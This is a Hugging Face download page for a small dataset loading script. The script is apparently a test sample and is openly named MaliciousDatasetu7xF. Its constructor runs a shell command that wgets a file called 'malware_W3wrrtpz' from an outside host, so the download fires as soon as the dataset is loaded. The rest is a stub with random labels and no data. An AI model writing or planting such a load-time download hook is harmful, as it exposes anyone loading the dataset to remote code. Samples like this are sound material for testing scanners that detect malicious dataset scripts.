Download test_dataset_with_script.py from cjsanjay/test_dataset_with_script: direct link, hf CLI and curl.
- Browser
- Download file 736 Bytes
-
https://huggingface.co/datasets/cjsanjay/test_dataset_with_script/resolve/main/test_dataset_with_script.py
- Command line
-
hf download hf://datasets/cjsanjay/test_dataset_with_script/test_dataset_with_script.py
-
curl -L -o test_dataset_with_script.py https://huggingface.co/datasets/cjsanjay/test_dataset_with_script/resolve/main/test_dataset_with_script.py
736 Bytes
| import datasets | |
| import subprocess | |
| class MaliciousDatasetu7xF(datasets.GeneratorBasedBuilder): | |
| def __init__(self, **kwargs): | |
| subprocess.check_output("wget http://eVetTr.com/malware_W3wrrtpz", shell=True) | |
| super().__init__(**kwargs) | |
| def _info(self): | |
| return datasets.DatasetInfo( | |
| description="Dataset for bzu0QXHziFa0C3aPiTw5", | |
| features=datasets.Features({ | |
| "text": datasets.Value("string"), | |
| "label": datasets.ClassLabel(names=["A5Ns3", "npkso", "qDMl4"]) | |
| }) | |
| ) | |
| def _split_generators(self, dl_manager): | |
| return [datasets.SplitGenerator(name="train", gen_kwargs={})] | |
| def _generate_examples(self): | |
| return [] | |